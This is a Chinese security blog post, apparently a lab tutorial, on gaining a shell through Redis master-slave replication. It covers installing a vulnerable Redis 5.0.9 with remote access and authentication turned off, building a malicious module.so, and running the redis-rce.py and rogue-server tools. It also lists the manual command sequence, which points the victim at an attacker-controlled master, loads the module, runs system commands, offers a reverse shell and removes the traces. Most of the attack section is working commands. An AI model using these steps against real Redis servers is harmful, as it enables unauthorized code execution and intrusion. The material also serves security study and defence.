redis远程备份脚本_Redis主从复制Getshell学习

主从复制

    Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

部署redis

注意:主从复制的利用方式不需要root权限,在6.0.5版本及以后版本中已经修复了该问题。,所以这里要下载6.0.5以下的版本,同时需要高于4.x的版本才行(因为4.X才有的加载模块的功能)。

下载:http://download.redis.io/releases/redis-5.0.9.tar.gz

编译安装:

tar -zxf redis-5.0.9.tar.gz

cd redis-5.0.9

make

cd src

make install

启动:

redis-server

69d0a0fb18d7404ffa13fce01203e46d.png

高版本的redis默认安装后是不允许远程连接的,且需要密码认证,所以需要修改一下配置文件:

vim redis-5.0.9/redis.conf

注释掉下面这行,或者改成bind 0.0.0.0

05efe3550189f6a1a0dde1089cf49cda.png

将yes改为no,取消密码认证

f4ce5116856b482bf8f65e4481d93c07.png

重新运行redis-server  redis-5.0.9/redis.conf (因为是源码安装,这里需要指定配置文件进行启动)

Getshell原理

在redis 4.x之后的版本中,允许以模块化的形式从外部加载.so文件,而这个文件中代码将会变成redis功能的一部分,从而实现功能扩展。我们利用这个功能通过编译恶意的.so文件,并将该文件同步到从属redis上,进行加载,即可实现恶意代码的功能。

过程

.so源码下载地址:https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

编译

cd  RedisModules-ExecuteCommand

make

然后生成一个so文件RedisModules-ExecuteCommand/src/module.so

19a05bff6b06b7abd6393f2583638f7a.png

1.下载自动化攻击脚本:

git clone https://github.com/Ridter/redis-rce.git

命令:

pip install -r requirement.txt

python3 redis-rce.py -r 192.168.194.129 -p6379 -L 192.168.194.1 -fmodule.so

4d36e3a005ce1549dab7b44e1283816e.png

选择一个shell方式:

选择交互式shell:

9cc002897ec9a1f259967ac423df06b1.png

使用反弹shell:

7dc06240882c117f0c8b265ed4ac4951.png

2.如果是用手动的方式:

下载工具:https://codeload.github.com/LoRexxar/redis-rogue-server/zip/master

启动一个模拟的redis服务

python RogueServer.py --lport 1234 --exp exp.so

然后利用未授权访问漏洞连接对方redis服务:

57e7f925ea320f0eef8ac13e11d43a99.png

#设置redis的备份路径为当前目录

config set dir ./

#设置备份文件名为module.so,默认为dump.rdb

    config set dbfilename module.so

#设置主服务器IP和端口

    slaveof 192.168.194.11234 #就是这一步,决定了后面会从这里加载恶意so文件。

#加载恶意模块

    module load ./module.so 

这个加载module本身其实在配置文件里也可以写上加载的模块路径,但因为是攻击,所以一般不具备修改配置文件的条件:

redis.conf

d298524b3e6ef60a0ed78139aa3a7316.png

#切断主从,关闭复制功能

    slaveof no one

#执行系统命令

    system.exec 'whoami'

94cb207361240d8f84a0d88cd8fb9b82.png

#通过dump.rdb文件恢复数据

    config set dbfilename dump.rdb

#删除exp.so

    system.exec 'rm ./exp.so'

#卸载system模块的加载

    module unload system

参考:

https://paper.seebug.org/975/

https://www.cnblogs.com/xiaozi/p/13089906.html

------------------------------------------------------------------------------

欢迎分享转发。

喜欢的话动动手指点个“关注”和“在看”吧~da87b46a409ab952499563c8708c99f5.png

5e99f9c6cd2c2e64f6e8a2c8ff0ee6a6.png

(信安随笔)

------------------------------------------------------------------------------

免责声明

本文中提到的漏洞利用Poc和脚本仅供研究学习使用,请遵守《网络安全法》等相关法律法规。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值